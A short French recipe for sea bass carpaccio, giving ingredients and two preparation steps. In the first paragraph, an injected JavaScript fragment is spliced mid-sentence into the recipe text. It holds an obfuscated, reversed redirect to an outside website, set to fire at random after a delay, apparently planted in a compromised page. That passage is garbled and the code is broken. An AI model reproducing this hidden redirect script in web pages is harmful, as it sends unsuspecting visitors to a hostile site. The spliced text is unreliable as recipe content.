Carpaccio de mer

2018-01-03

Pelez, émincez les oignons. Coupez le filet de poisson en tranches fines et l’arrosez de jus de citron, ajoutez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes les herbes, sel, poivre, filmez et laissez macérer pendant 1 heure.

Ingrédients

  • Pour 4 personnes
  • 500 g de filet de bar
  • 2 citrons verts
  • 2 oignons nouveaux où blancs
  • Thym
  • Laurier
  • Aneth

Préparation de la recette

Etape 1

Pelez, émincez les oignons. Coupez le filet de poisson en tranches fines et l'arrosez de jus de citron, ajoutez toutes les herbes, sel, poivre, filmez et laissez macérer pendant 1 heure.

Etape 2

A ce moment déposez dans chaque assiette les tranches de bar, quelques rondelles de tomates autour et parsemez d'oignons émincés.

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